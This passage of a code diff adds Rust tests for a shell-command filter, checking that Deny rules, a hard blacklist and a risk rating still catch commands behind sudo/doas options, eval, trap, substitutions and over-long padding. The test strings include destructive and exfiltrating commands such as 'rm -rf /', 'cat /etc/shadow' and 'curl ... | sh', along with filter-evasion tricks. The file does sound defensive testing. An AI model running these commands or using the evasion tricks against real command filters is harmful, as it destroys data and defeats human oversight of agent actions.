{elapsed:?}"); + assert!( + elapsed[1] < elapsed[0] * 4 + std::time::Duration::from_secs(1), + "{elapsed:?}" + ); +} diff --git a/crates/core/src/filter/tests/sudo_options.rs b/crates/core/src/filter/tests/sudo_options.rs new file mode 100644 index 000000000..a5c56e22e --- /dev/null +++ b/crates/core/src/filter/tests/sudo_options.rs @@ -0,0 +1,516 @@ +//! `sudo`/`doas` prefixes and their options. Issue #1208: an option with a +//! value never changes the filter decision or the risk rating of the command +//! behind it. + +use super::*; + +#[tokio::test] +async fn test_sudo_prefix_sets_elevated_flag() { + let (elevated, rest) = super::super::parser::detect_elevation("sudo apt update"); + assert!(elevated); + assert_eq!(rest, "apt update"); + + let (elevated_doas, rest_doas) = super::super::parser::detect_elevation("doas apt update"); + assert!(elevated_doas); + assert_eq!(rest_doas, "apt update"); + + let (elevated_none, rest_none) = super::super::parser::detect_elevation("apt update"); + assert!(!elevated_none); + assert_eq!(rest_none, "apt update"); +} + +/// Asserts that `cmd` gets the same filter decision (with a Deny rule +/// `rm *` and with the hard blacklist only; kind and code, the reason may +/// add notes such as a substitution) and the same risk rating as `plain`, +/// the same command without the `sudo`/`doas` option. +async fn assert_same_decision_and_risk(pairs: &[(&str, &str)]) { + use crate::risk::RuleBasedRiskClassifier; + + fn kind_and_code(decision: Decision) -> (&'static str, String) { + match decision { + Decision::AutoExec => ("AutoExec", String::new()), + Decision::Confirm { code, .. } => ("Confirm", code), + Decision::Deny { code, .. } => ("Deny", code), + } + } + + let deny_rm = engine(vec![glob_rule( + "deny-rm", + "rm *", + RuleAction::Deny, + Scope::Global, + 100, + )]); + let blacklist_only = engine(vec![]); + for (cmd, plain) in pairs { + for eng in [&deny_rm, &blacklist_only] { + assert_eq!( + kind_and_code(eng.evaluate(cmd, &ctx("srv1", &[])).await), + kind_and_code(eng.evaluate(plain, &ctx("srv1", &[])).await), + "{cmd:?} vs. {plain:?}" + ); + } + let with_option = RuleBasedRiskClassifier.classify(cmd); + let without = RuleBasedRiskClassifier.classify(plain); + assert_eq!( + (with_option.server_risk, with_option.data_risk), + (without.server_risk, without.data_risk), + "{cmd:?} vs. {plain:?}" + ); + } +} + +/// Every `sudo`/`doas` option that takes a value hides its argument, not the +/// command behind it: Deny rules, the hard blacklist and the risk rating +/// see the same command as without the option. +#[tokio::test] +async fn sudo_option_with_value_keeps_decision_and_risk() { + assert_same_decision_and_risk(&[ + ("sudo -D /tmp rm -rf /", "sudo rm -rf /"), + ("sudo -p x rm -rf /", "sudo rm -rf /"), + ("sudo -h host rm -rf /", "sudo rm -rf /"), + ("sudo -C 3 rm -rf /", "sudo rm -rf /"), + ("sudo -R /x rm -rf /", "sudo rm -rf /"), + ("sudo -T 5 reboot", "sudo reboot"), + ("sudo --chdir /tmp rm -rf /", "sudo rm -rf /"), + ("sudo --prompt x shutdown now", "sudo shutdown now"), + ("doas -C /etc/doas.conf reboot", "doas reboot"), + ]) + .await; +} + +/// Attached arguments, option clusters, `--` and case variants of the +/// options above resolve to the same command as well. +#[tokio::test] +async fn test_sudo_option_variants_keep_decision_and_risk() { + assert_same_decision_and_risk(&[ + ("sudo -D/tmp rm -rf /", "sudo rm -rf /"), + ("sudo --chdir=/tmp rm -rf /", "sudo rm -rf /"), + ("sudo -uroot rm -rf /", "sudo rm -rf /"), + ("sudo -Su root rm -rf /", "sudo rm -rf /"), + ("sudo -nD /tmp rm -rf /", "sudo rm -rf /"), + ("sudo -E -p x -T 5 rm -rf /", "sudo rm -rf /"), + ("sudo -U alice -u bob reboot", "sudo reboot"), + ("sudo --command-timeout 5 reboot", "sudo reboot"), + ("sudo --PROMPT x reboot", "sudo reboot"), + ("sudo -p x -- rm -rf /", "sudo rm -rf /"), + ("SUDO -D /tmp rm -rf /", "sudo rm -rf /"), + ("/usr/bin/sudo -D /tmp rm -rf /", "sudo rm -rf /"), + ("env sudo -D /tmp rm -rf /", "env sudo rm -rf /"), + ("sudo -D /tmp sudo -p x rm -rf /", "sudo rm -rf /"), + ("doas -u root -C /etc/doas.conf rm -rf /", "doas rm -rf /"), + ("ls && sudo -D /tmp rm -rf /", "ls && sudo rm -rf /"), + ]) + .await; +} + +/// An option value with whitespace in it (quoted, escaped or a command +/// substitution) is one word, as the shell reads it. +#[tokio::test] +async fn test_sudo_option_value_with_whitespace_keeps_decision_and_risk() { + assert_same_decision_and_risk(&[ + ("sudo -p 'a b' rm -rf /", "sudo rm -rf /"), + ("sudo -u \"my user\" rm -rf /", "sudo rm -rf /"), + ("sudo -D /tmp\\ x rm -rf /", "sudo rm -rf /"), + ("sudo -D \"$(echo a b)\" rm -rf /", "sudo rm -rf /"), + ("sudo -p 'a b' cat /etc/shadow", "sudo cat /etc/shadow"), + ("sudo --prompt=\"a b\" -u 'x y' reboot", "sudo reboot"), + ("doas -C '/etc/my doas.conf' reboot", "doas reboot"), + ("timeout -s 'KILL' '5' rm -rf /", "timeout 5 rm -rf /"), + ("env -u 'A B' rm -rf /", "env rm -rf /"), + ("sudo -p $'a b' rm -rf /", "sudo rm -rf /"), + ("sudo -p \"a \"'b c' rm -rf /", "sudo rm -rf /"), + ("sudo -p \"${HOME:-a b}\" rm -rf /", "sudo rm -rf /"), + ("sudo -p `echo a b` rm -rf /", "sudo rm -rf /"), + ("sudo -p $(echo) rm -rf /", "sudo rm -rf /"), + ("sudo -u $(id -un) rm -rf /", "sudo rm -rf /"), + ("ls; sudo -T $(echo 5) reboot", "ls; sudo reboot"), + ("$(true) sudo -p $(echo) rm -rf /", "$(true) sudo rm -rf /"), + ("'sudo' -D '/tmp' rm -rf /", "sudo rm -rf /"), + ("FOO='a b' sudo -p 'c d' rm -rf /", "FOO=1 sudo rm -rf /"), + ]) + .await; +} + +/// Long options may be abbreviated to any unique prefix, as `getopt_long` +/// accepts them; an ambiguous prefix takes a value if any match does. +#[tokio::test] +async fn test_sudo_abbreviated_long_option_keeps_decision_and_risk() { + assert_same_decision_and_risk(&[ + ("sudo --chd /tmp rm -rf /", "sudo rm -rf /"), + ("sudo --u root rm -rf /", "sudo rm -rf /"), + ("sudo --prom x reboot", "sudo reboot"), + ("sudo --command 5 reboot", "sudo reboot"), + ("sudo --ch /tmp rm -rf /", "sudo rm -rf /"), + ("sudo --auth x rm -rf /", "sudo rm -rf /"), + ("sudo --login-c x rm -rf /", "sudo rm -rf /"), + ("sudo --non -u root rm -rf /", "sudo rm -rf /"), + ]) + .await; +} + +/// `sudo -a`/`--auth-type`, `sudo -c`/`--login-class` and `doas -a` take a +/// value as well. +#[tokio::test] +async fn test_sudo_auth_type_and_login_class_keep_decision_and_risk() { + assert_same_decision_and_risk(&[ + ("sudo -a x rm -rf /", "sudo rm -rf /"), + ("sudo --auth-type x reboot", "sudo reboot"), + ("sudo -c x rm -rf /", "sudo rm -rf /"), + ("sudo --login-class x reboot", "sudo reboot"), + ("doas -a x reboot", "doas reboot"), + ("doas -a x rm -rf /", "doas rm -rf /"), + ]) + .await; +} + +/// A comment with an unbalanced quote after the command does not change how +/// the option values before it are read, and the `-c` code behind them is +/// still evaluated. +#[tokio::test] +async fn test_sudo_option_value_before_comment_keeps_decision_and_risk() { + use crate::risk::{RiskLevel, RuleBasedRiskClassifier}; + + let deny = engine(vec![ + glob_rule( + "deny-reboot", + "reboot*", + RuleAction::Deny, + Scope::Global, + 100, + ), + glob_rule( + "deny-docker", + "docker *", + RuleAction::Deny, + Scope::Global, + 100, + ), + ]); + for cmd in [ + "sudo -p $(echo x) bash -c 'reboot' # it's", + "sudo -p $(echo x) bash -c 'docker rm -f prod' # it's", + "sudo -p `echo x` bash -c 'reboot' # it's", + "sudo -p $'a\\'b c' bash -c 'reboot'", + "sudo -p $'a\\'b c' reboot # it's", + ] { + assert_deny(&deny.evaluate(cmd, &ctx("srv1", &[])).await); + } + for cmd in [ + "sudo -p $(echo x) bash -c 'reboot' # it's", + "sudo -p `echo x` bash -c 'reboot' # it's", + "sudo -p $'a\\'b c' reboot # it's", + ] { + assert_eq!( + RuleBasedRiskClassifier.classify(cmd).server_risk, + RiskLevel::Red, + "{cmd:?}" + ); + } +} + +/// Only ASCII blanks separate words for the shell: a no-break space is part +/// of the word, so the command behind it is still the one that runs. +#[tokio::test] +async fn test_non_ascii_space_in_prefix_keeps_decision_and_risk() { + assert_same_decision_and_risk(&[ + ("FOO=x\u{a0}ls reboot", "FOO=x reboot"), + ("sudo -p x\u{a0}ls reboot", "sudo reboot"), + ("sudo -p x\u{a0}ls rm -rf /", "sudo rm -rf /"), + ("sudo -u a\u{2003}b rm -rf /", "sudo rm -rf /"), + ("env -u A\u{a0}B rm -rf /", "env rm -rf /"), + ("timeout 5\u{a0}x rm -rf /", "timeout 5 rm -rf /"), + ]) + .await; +} + +/// The code of `eval`, `trap` and `alias` and the commands of a subshell or +/// group keep their substitutions, so an option value that is one does not +/// let the option take the command as its value. +#[tokio::test] +async fn test_substitution_option_value_in_eval_trap_alias_and_groups_keeps_deny() { + let deny = engine(vec![ + glob_rule( + "deny-reboot", + "reboot*", + RuleAction::Deny, + Scope::Global, + 100, + ), + glob_rule("deny-rm", "rm *", RuleAction::Deny, Scope::Global, 100), + ]); + let blacklist_only = engine(vec![]); + for cmd in [ + "trap 'sudo -D $(pwd) reboot' EXIT", + "alias x='sudo -D $(pwd) reboot'", + "eval 'sudo -D `pwd` reboot'", + "eval 'sudo -p $(echo x) rm -rf /'", + "command eval 'sudo -p $(echo x) rm -rf /'", + "( sudo -p $(echo x) rm -rf / )", + "{ sudo -D $(pwd) reboot; }", + ] { + assert_deny(&deny.evaluate(cmd, &ctx("srv1", &[])).await); + let trace = blacklist_only + .evaluate_explained(cmd, &ctx("srv1", &[])) + .await; + fn hit(trace: &EvaluationTrace) -> bool { + trace.matched_hard_blacklist_entry.is_some() || trace.sub_command_traces.iter().any(hit) + } + assert!(hit(&trace), "{cmd:?}: no hard-blacklist hit"); + } +} + +/// An option word with an expansion (`-"$X"`, `$OPT`) may or may not take +/// the next word as its value, depending on the value. Both readings count +/// for Deny rules, the hard blacklist and the risk rating, and an Allow rule +/// never runs such a command unconfirmed. +#[tokio::test] +async fn test_option_word_with_expansion_counts_in_every_reading() { + use crate::risk::{RiskLevel, RuleBasedRiskClassifier}; + + let deny = engine(vec![glob_rule( + "deny-reboot", + "reboot*", + RuleAction::Deny, + Scope::Global, + 100, + )]); + let allow_all = engine(vec![ + glob_rule("allow-all", "*", RuleAction::Allow, Scope::Global, 10), + glob_rule("allow-sudo", "sudo *", RuleAction::Allow, Scope::Global, 10), + ]); + for cmd in [ + "sudo -\"$X\" /tmp reboot", + "sudo -$X /tmp reboot", + "sudo -${X} /tmp reboot", + "sudo -k$X /tmp reboot", + "sudo --\"$X\" /tmp reboot", + "sudo $(echo -D) /tmp reboot", + "sudo `echo -D` /tmp reboot", + "sudo $OPT /tmp reboot", + "sudo -$'\\x44' /tmp reboot", + "doas -$X root reboot", + "env -\"$X\" /tmp reboot", + "timeout -\"$X\" 9 5 reboot", + ] { + assert_deny(&deny.evaluate(cmd, &ctx("srv1", &[])).await); + assert_confirm(&allow_all.evaluate(cmd, &ctx("srv1", &[])).await); + assert_eq!( + RuleBasedRiskClassifier.classify(cmd).server_risk, + RiskLevel::Red, + "{cmd:?}" + ); + } + let blacklist_only = engine(vec![]); + for cmd in ["sudo -\"$X\" /tmp rm -rf /", "sudo $OPT x rm -rf /"] { + let trace = blacklist_only + .evaluate_explained(cmd, &ctx("srv1", &[])) + .await; + assert!(trace.matched_hard_blacklist_entry.is_some(), "{cmd:?}"); + } + // A word that cannot become an option keeps the plain reading. + assert_auto_exec(&allow_all.evaluate("sudo ls $X", &ctx("srv1", &[])).await); +} + +/// Several option words with an expansion, and glob or brace expansion in an +/// option word (`-k{,D}` becomes `-k -kD`), ask for confirmation under any +/// Allow rule, and the readings reach the command for Deny rules and the +/// hard blacklist. +#[tokio::test] +async fn test_several_and_glob_expanded_option_words_ask_for_confirmation() { + let deny = engine(vec![glob_rule( + "deny-reboot", + "reboot*", + RuleAction::Deny, + Scope::Global, + 100, + )]); + let allow_all = engine(vec![ + glob_rule("allow-all", "*", RuleAction::Allow, Scope::Global, 10), + glob_rule("allow-sudo", "sudo *", RuleAction::Allow, Scope::Global, 10), + ]); + let blacklist_only = engine(vec![]); + for cmd in [ + "sudo -\"$X\" -\"$Y\" /a reboot", + "sudo -u\"$U\" -\"$X\" /a reboot", + "sudo -k{,D} /tmp reboot", + "sudo -E{,D} /tmp reboot", + "sudo -[D] /tmp reboot", + "sudo -* /tmp reboot", + "sudo -\"$X\" /a sudo -\"$Y\" /b reboot", + "sudo $X $Y $Z reboot", + ] { + assert_confirm(&allow_all.evaluate(cmd, &ctx("srv1", &[])).await); + assert_deny(&deny.evaluate(cmd, &ctx("srv1", &[])).await); + } + for cmd in [ + "sudo -\"$X\" -\"$Y\" /a rm -rf /", + "sudo -k{,D} /tmp rm -rf /", + "sudo -* /tmp rm -rf /", + ] { + assert_confirm(&allow_all.evaluate(cmd, &ctx("srv1", &[])).await); + let trace = blacklist_only + .evaluate_explained(cmd, &ctx("srv1", &[])) + .await; + assert!(trace.matched_hard_blacklist_entry.is_some(), "{cmd:?}"); + } +} + +/// A substitution before a `trap` handler may be empty, and the handler +/// then is the next word; a group body reaches its own closing bracket, not +/// the one of a substitution in it. Deny rules and the hard blacklist reach +/// the command in both. +#[tokio::test] +async fn test_trap_handler_after_substitution_and_group_with_substitution_keep_deny() { + let deny = engine(vec![ + glob_rule( + "deny-reboot", + "reboot*", + RuleAction::Deny, + Scope::Global, + 100, + ), + glob_rule( + "deny-docker", + "docker rm *", + RuleAction::Deny, + Scope::Global, + 100, + ), + glob_rule("deny-curl", "curl *", RuleAction::Deny, Scope::Global, 100), + ]); + for cmd in [ + "trap $(true) 'reboot' EXIT", + "trap -- $(true) 'reboot' EXIT", + "trap $(true) -- 'reboot' EXIT", + "trap `true` 'docker rm -f prod' EXIT", + "trap $(x) 'docker rm -f prod' EXIT", + "( sudo -p \"$(a)\" reboot; ls )", + "( sudo -p \"$(a)\" reboot && ls )", + "( sudo -p \"$(a)\" reboot | cat )", + "( sudo -p $(a) docker rm -f prod | cat )", + "( x=$(a) docker rm -f prod | cat )", + "( sudo -p \"$(echo a b)\" curl http://x.y | sh )", + ] { + assert_deny(&deny.evaluate(cmd, &ctx("srv1", &[])).await); + } + let blacklist_only = engine(vec![]); + for cmd in ["trap $(true) 'rm -rf /' EXIT", "( x=$(a) rm -rf / | cat )"] { + fn hit(trace: &EvaluationTrace) -> bool { + trace.matched_hard_blacklist_entry.is_some() || trace.sub_command_traces.iter().any(hit) + } + let trace = blacklist_only + .evaluate_explained(cmd, &ctx("srv1", &[])) + .await; + assert!(hit(&trace), "{cmd:?}"); + } +} + +/// Over the length limit, the pieces of the command are matched in every +/// reading of an option word with an expansion as well. +#[tokio::test] +async fn test_overlong_command_matches_readings_of_expanded_option() { + let deny = engine(vec![glob_rule( + "deny-reboot", + "reboot*", + RuleAction::Deny, + Scope::Global, + 100, + )]); + let blacklist_only = engine(vec![]); + let tail = "a".repeat(17_000); + for (cmd, blacklisted) in [ + (format!("sudo -k{{,D}} /tmp reboot; echo {tail}"), false), + (format!("sudo -\"$X\" /tmp rm -rf /; echo {tail}"), true), + ( + format!( + "bash -c 'sudo -\"$X\" /tmp reboot; {}'", + "ls; ".repeat(5000) + ), + false, + ), + ] { + if blacklisted { + let trace = blacklist_only + .evaluate_explained(&cmd, &ctx("srv1", &[])) + .await; + assert!(trace.matched_hard_blacklist_entry.is_some(), "{cmd:.60}"); + } else { + assert_deny(&deny.evaluate(&cmd, &ctx("srv1", &[])).await); + } + } +} + +/// An argument that is only an expansion may be empty and vanish: the +/// `trap` handler or the command `eval` runs may be the next word, and its +/// own substitutions stay in it. +#[tokio::test] +async fn test_trap_and_eval_after_expansion_that_may_be_empty_keep_deny() { + let deny = engine(vec![ + glob_rule( + "deny-reboot", + "reboot*", + RuleAction::Deny, + Scope::Global, + 100, + ), + glob_rule("deny-rm", "rm *", RuleAction::Deny, Scope::Global, 100), + ]); + for cmd in [ + "trap $(true) 'sudo -D $(pwd) reboot' EXIT", + "trap -- $(true) 'sudo -D $(pwd) reboot' EXIT", + "trap `true` 'sudo -D `pwd` reboot' EXIT", + "trap $(true) \"sudo -D $(pwd) reboot\" EXIT", + "trap $(true) 'sudo -p $(x) rm -rf /' EXIT", + "trap $X 'reboot' EXIT", + "trap ${X} 'reboot' EXIT", + "trap $(true) 'reboot' $(x)", + "eval -- $(true) 'reboot'", + "eval $X 'reboot'", + "eval -- ${X} 'sudo -D $(pwd) reboot'", + ] { + assert_deny(&deny.evaluate(cmd, &ctx("srv1", &[])).await); + } + let blacklist_only = engine(vec![]); + for cmd in [ + "trap $(true) 'sudo -p $(x) rm -rf /' EXIT", + "trap $X 'rm -rf /' EXIT", + "eval -- $X 'rm -rf /'", + ] { + fn hit(trace: &EvaluationTrace) -> bool { + trace.matched_hard_blacklist_entry.is_some() || trace.sub_command_traces.iter().any(hit) + } + let trace = blacklist_only + .evaluate_explained(cmd, &ctx("srv1", &[])) + .await; + assert!(hit(&trace), "{cmd:?}"); + } +} + +/// The text an `env -S` value gives is read like the command itself: an +/// assignment there whose expansion may split asks for confirmation, and an +/// expansion word there counts in every reading. +#[tokio::test] +async fn test_env_split_string_text_is_read_like_the_command() { + use crate::risk::{RiskLevel, RuleBasedRiskClassifier}; + + let allow_all = engine(vec![glob_rule( + "allow-all", + "*", + RuleAction::Allow, + Scope::Global, + 10, + )]); + for cmd in [ + "env -S 'A=1' env A=$x docker rm -f prod", + "env -S'A=1 B=2' sudo A=$x docker rm -f prod", + ] { + assert_confirm(&allow_all.evaluate(cmd, &ctx("srv1", &[])).await); + } + let cmd = "env -S'A=1 B=2' $(true) docker rm -f prod"; + assert_ne!( + RuleBasedRiskClassifier.classify(cmd).server_risk, + RiskLevel::None, + "{cmd:?}" + ); +} diff --git a/crates/core/src/filter/tests_ambiguous_overlong.rs b/crates/core/src/filter/tests_ambiguous_overlong.rs new file mode 100644 index 000000000..074376550 --- /dev/null +++ b/crates/core/src/filter/tests_ambiguous_overlong.rs @@ -0,0 +1,419 @@ +//! A Deny rule and the hard blacklist keep applying when the parser gives up: +//! for text it rates as ambiguous and for text over the length limit. Both +//! cases stay at least `Confirm` as before; only a Deny can make them +//! stricter. + +use async_trait::async_trait; + +use super::parser::{self, ParseResult}; +use super::*; + +struct Rules(Vec); + +#[async_trait] +impl PolicyStore for Rules { + async fn rules_for(&self, _scope: &EffectiveScope) -> PolicyRules { + PolicyRules::complete(self.0.clone()) + } +} + +fn rule(id: &str, glob: &str, action: RuleAction) -> Rule { + Rule { + id: RuleId(id.to_string()), + pattern: Pattern::Glob(glob.to_string()), + action, + scope: Scope::Global, + priority: 0, + origin: RuleOrigin::User, + } +} + +fn ctx() -> EvalContext { + EvalContext { + server_id: ServerId::new(), + tags: Vec::new(), + } +} + +async fn trace(rules: Vec, command: &str) -> EvaluationTrace { + FilterEngine::new(Rules(rules)) + .evaluate_explained(command, &ctx()) + .await +} + +fn assert_confirm_with_code(trace: &EvaluationTrace, expected: &str, command: &str) { + assert!( + matches!(&trace.decision, Decision::Confirm { code, .. } if code == expected), + "{command:?}: expected Confirm/{expected}, got {:?}", + trace.decision + ); +} + +const AMBIGUOUS_COMMANDS: [&str; 5] = [ + "echo \"<<\"; docker rm -f prod", + "docker rm -f prod <<< y", + "bash -c 'true'; docker rm -f prod", + "ls\u{7}; docker rm -f prod", + "python3 -c 'pass'; docker rm -f prod", +]; + +#[tokio::test] +async fn deny_rule_applies_to_ambiguous_split() { + for command in AMBIGUOUS_COMMANDS { + assert!( + matches!( + parser::split_command(command), + ParseResult::Ambiguous { .. } + ), + "precondition: {command:?} is ambiguous" + ); + let deny = trace( + vec![rule("deny-docker", "docker *", RuleAction::Deny)], + command, + ) + .await; + assert!( + matches!(&deny.decision, Decision::Deny { code, .. } if code == "FILTER_RULE_DENY"), + "{command:?}: {:?}", + deny.decision + ); + assert_eq!( + deny.matched_rule, + Some(RuleId("deny-docker".to_string())), + "{command:?}" + ); + + // Without a matching Deny rule the result stays the ambiguous + // Confirm, also when an Allow rule matches a fragment. + for rules in [ + Vec::new(), + vec![rule("allow-docker", "docker *", RuleAction::Allow)], + vec![rule("deny-kubectl", "kubectl *", RuleAction::Deny)], + ] { + let confirm = trace(rules, command).await; + assert_confirm_with_code(&confirm, "FILTER_PARSE_AMBIGUOUS", command); + } + } + + // The fragments are evaluated like segments: embedded code and + // substitutions in them count, also when the ambiguous text is itself + // embedded. + for command in [ + "ls\u{7}; bash -c 'docker rm -f prod'", + "ls\u{7}; echo $(docker rm -f prod)", + "bash -c 'ls\u{7}; docker rm -f prod'", + "echo $(bash -c 'true'; docker rm -f prod)", + ] { + let deny = trace( + vec![rule("deny-docker", "docker *", RuleAction::Deny)], + command, + ) + .await; + assert!( + matches!(deny.decision, Decision::Deny { .. }), + "{command:?}: {:?}", + deny.decision + ); + } + + // The hard blacklist sees the fragments too (the decision stays the + // ambiguous Confirm, but the entry is reported and found by + // `matches_hard_blacklist`). + for command in ["ls\u{7}; rm -rf /", "echo \"<<\"; rm -rf /"] { + let hit = trace(Vec::new(), command).await; + assert_confirm_with_code(&hit, "FILTER_PARSE_AMBIGUOUS", command); + assert!( + hit.matched_hard_blacklist_entry.is_some(), + "{command:?}: {hit:?}" + ); + assert!(hit.checks.iter().any(|c| c == "FILTER_HARD_BLACKLIST")); + assert!(matches_hard_blacklist(command).await, "{command:?}"); + } + let clean = trace(Vec::new(), "ls\u{7}; echo hi").await; + assert!(clean.matched_hard_blacklist_entry.is_none()); + assert!(!matches_hard_blacklist("ls\u{7}; echo hi").await); +} + +#[tokio::test] +async fn deny_rule_applies_to_overlong_command() { + let padding = "a".repeat(DEFAULT_MAX_COMMAND_LENGTH + 4); + let spaces = " ".repeat(DEFAULT_MAX_COMMAND_LENGTH + 4); + let deny_docker = || vec![rule("deny-docker", "docker *", RuleAction::Deny)]; + for command in [ + format!("docker rm -f prod #{padding}"), + format!("docker rm -f prod{spaces}"), + format!("{spaces}docker rm -f prod"), + format!("env docker rm -f prod #{padding}"), + format!("echo {padding}; sudo docker rm -f prod"), + ] { + assert!(exceeds_command_length_limit( + &command, + DEFAULT_MAX_COMMAND_LENGTH + )); + let deny = trace(deny_docker(), &command).await; + assert!( + matches!(&deny.decision, Decision::Deny { code, .. } if code == "FILTER_RULE_DENY"), + "{:?}", + deny.decision + ); + assert_eq!(deny.matched_rule, Some(RuleId("deny-docker".to_string()))); + + // Without a matching Deny rule: the length-limit Confirm as before, + // never AutoExec, also with a matching Allow rule. + for rules in [ + Vec::new(), + vec![rule("allow-docker", "docker *", RuleAction::Allow)], + vec![rule("deny-kubectl", "kubectl *", RuleAction::Deny)], + ] { + let confirm = trace(rules, &command).await; + assert_confirm_with_code(&confirm, "FILTER_COMMAND_TOO_LONG", "over-long"); + } + } + + // The hard blacklist is reported, the decision stays the length-limit + // Confirm. + let blacklisted = format!("rm -rf / #{padding}"); + let hit = trace(Vec::new(), &blacklisted).await; + assert_confirm_with_code(&hit, "FILTER_COMMAND_TOO_LONG", "rm -rf / #..."); + assert!(hit.matched_hard_blacklist_entry.is_some(), "{hit:?}"); + let clean = trace(deny_docker(), &format!("echo hi #{padding}")).await; + assert_confirm_with_code(&clean, "FILTER_COMMAND_TOO_LONG", "echo hi #..."); + assert!(clean.matched_hard_blacklist_entry.is_none()); +} + +/// The risk classifier rates the naive fragments of an over-long command +/// instead of giving up with "no risk". +#[test] +fn risk_rating_of_overlong_command_uses_its_fragments() { + use crate::risk::{RiskLevel, RuleBasedRiskClassifier}; + + let padding = "a".repeat(DEFAULT_MAX_COMMAND_LENGTH + 4); + for command in [ + format!("shutdown -h now #{padding}"), + format!("echo {padding}; sudo shutdown -h now"), + ] { + assert_eq!( + RuleBasedRiskClassifier.classify(&command).server_risk, + RiskLevel::Red + ); + } + let harmless = RuleBasedRiskClassifier.classify(&format!("echo {padding}")); + assert_eq!( + (harmless.server_risk, harmless.data_risk), + (RiskLevel::None, RiskLevel::None) + ); +} + +/// A line continuation joins two lines before the text is split, as the +/// shell does outside single quotes. +#[tokio::test] +async fn deny_rule_applies_to_line_continuation_in_ambiguous_text() { + let padding = "a".repeat(DEFAULT_MAX_COMMAND_LENGTH + 4); + for command in [ + "dock\\\ner rm -f prod".to_string(), + "ls\u{7}; dock\\\ner rm -f prod".to_string(), + "ls\u{7}; docker \"a\\\nb\" rm".to_string(), + format!("dock\\\ner rm -f prod #{padding}"), + ] { + let deny = trace( + vec![rule("deny-docker", "docker *", RuleAction::Deny)], + &command, + ) + .await; + assert!( + matches!(deny.decision, Decision::Deny { .. }), + "{command:?}: {:?}", + deny.decision + ); + } + // Inside single quotes the shell keeps backslash and newline. + let quoted = trace( + vec![rule("deny-docker", "docker *", RuleAction::Deny)], + "ls\u{7}; echo 'dock\\\ner rm -f prod'", + ) + .await; + assert_confirm_with_code("ed, "FILTER_PARSE_AMBIGUOUS", "single-quoted"); +} + +/// Command substitutions in the arguments of an ambiguous call are evaluated +/// like those of any segment. +#[tokio::test] +async fn deny_rule_applies_to_substitution_in_ambiguous_call() { + for command in [ + "bash -c 'true' \"$(docker rm -f prod)\"", + "bash -c 'true' `docker rm -f prod`", + "bash -c 'true' <(docker rm -f prod)", + "bash <<< 'true' $(docker rm -f prod)", + ] { + let deny = trace( + vec![rule("deny-docker", "docker *", RuleAction::Deny)], + command, + ) + .await; + assert!( + matches!(deny.decision, Decision::Deny { .. }), + "{command:?}: {:?}", + deny.decision + ); + let confirm = trace(Vec::new(), command).await; + assert!( + matches!(confirm.decision, Decision::Confirm { .. }), + "{command:?}: {:?}", + confirm.decision + ); + } +} + +/// A separator inside quotes does not cut a word for the Deny rules: the +/// ambiguous text is also split the way the shell reads it, without the +/// characters that made it ambiguous. +#[tokio::test] +async fn deny_rule_applies_to_quoted_separator_in_ambiguous_text() { + for command in [ + "FOO=\"a;b\" docker rm -f prod <<< y", + "sudo -p \"x;y\" docker rm -f prod <<< y", + "echo \"<<\"; FOO=\"a|b\" docker rm -f prod", + "ls\u{7}; sudo -p 'a&b' docker rm -f prod", + "FOO=\"a;b\" echo $(docker rm -f prod) <<< y", + "FOO=\"a;b\"x\u{a0}y docker rm -f prod <<< y", + ] { + assert!( + matches!( + parser::split_command(command), + ParseResult::Ambiguous { .. } + ), + "precondition: {command:?} is ambiguous" + ); + let deny = trace( + vec![rule("deny-docker", "docker *", RuleAction::Deny)], + command, + ) + .await; + assert!( + matches!(deny.decision, Decision::Deny { .. }), + "{command:?}: {:?}", + deny.decision + ); + for rules in [ + Vec::new(), + vec![rule("allow-docker", "docker *", RuleAction::Allow)], + ] { + let confirm = trace(rules, command).await; + assert_confirm_with_code(&confirm, "FILTER_PARSE_AMBIGUOUS", command); + } + } + let command = "sudo -p \"x;y\" rm -rf / <<< y"; + let hit = trace(Vec::new(), command).await; + assert_confirm_with_code(&hit, "FILTER_PARSE_AMBIGUOUS", command); + assert!(hit.matched_hard_blacklist_entry.is_some(), "{hit:?}"); + assert!(matches_hard_blacklist(command).await); +} + +/// Over the length limit, the command in front of trailing blanks or a +/// trailing comment is evaluated in full, and the substitutions, subshells +/// and embedded code of the pieces are matched as well. The result stays at +/// least the length-limit `Confirm`. +#[tokio::test] +async fn deny_rule_applies_to_overlong_command_with_embedded_commands() { + let spaces = " ".repeat(DEFAULT_MAX_COMMAND_LENGTH + 4); + let padding = "a".repeat(DEFAULT_MAX_COMMAND_LENGTH + 4); + let mut commands = Vec::new(); + for denied in [ + "echo $(docker rm -f prod)", + "echo `docker rm -f prod`", + "bash -c 'docker rm -f prod'", + "(docker rm -f prod)", + "sudo -p \"a;b\" docker rm -f prod", + ] { + commands.push(format!("{denied}{spaces}")); + commands.push(format!("{denied}\n{spaces}# {padding}\n{spaces}")); + commands.push(format!("{denied}{spaces}x")); + } + for command in &commands { + assert!(exceeds_command_length_limit( + command, + DEFAULT_MAX_COMMAND_LENGTH + )); + let deny = trace( + vec![rule("deny-docker", "docker *", RuleAction::Deny)], + command, + ) + .await; + assert!( + matches!(deny.decision, Decision::Deny { .. }), + "{:?}: {:?}", + &command[..40], + deny.decision + ); + for rules in [ + Vec::new(), + vec![rule("allow-docker", "docker *", RuleAction::Allow)], + ] { + let confirm = trace(rules, command).await; + assert_confirm_with_code(&confirm, "FILTER_COMMAND_TOO_LONG", &command[..40]); + } + } + let hit = trace(Vec::new(), &format!("echo $(rm -rf /){spaces}x")).await; + assert_confirm_with_code(&hit, "FILTER_COMMAND_TOO_LONG", "echo $(rm -rf /)..."); + assert!(hit.matched_hard_blacklist_entry.is_some(), "{hit:?}"); +} + +/// Code in over-long text whose quote, substitution or bracket only closes +/// past the limit still runs: a command at its start is matched as well. +#[tokio::test] +async fn deny_rule_applies_to_overlong_code_closed_past_the_limit() { + use crate::risk::{RiskLevel, RuleBasedRiskClassifier}; + + let filler = "ls; ".repeat(DEFAULT_MAX_COMMAND_LENGTH / 4 + 1); + for command in [ + format!("bash -c 'docker rm -f prod; {filler}'"), + format!("echo \"$(docker rm -f prod; {filler})\""), + format!("echo `docker rm -f prod; {filler}`"), + format!("( docker rm -f prod; {filler})"), + ] { + assert!(command.len() > DEFAULT_MAX_COMMAND_LENGTH); + let hit = trace(vec![rule("d", "docker *", RuleAction::Deny)], &command).await; + assert!( + matches!(hit.decision, Decision::Deny { .. }), + "{:?}: {:?}", + &command[..30], + hit.decision + ); + } + + let blacklisted = format!("bash -c 'rm -rf /; {filler}'"); + let hit = trace(Vec::new(), &blacklisted).await; + assert_confirm_with_code(&hit, "FILTER_COMMAND_TOO_LONG", &blacklisted[..30]); + 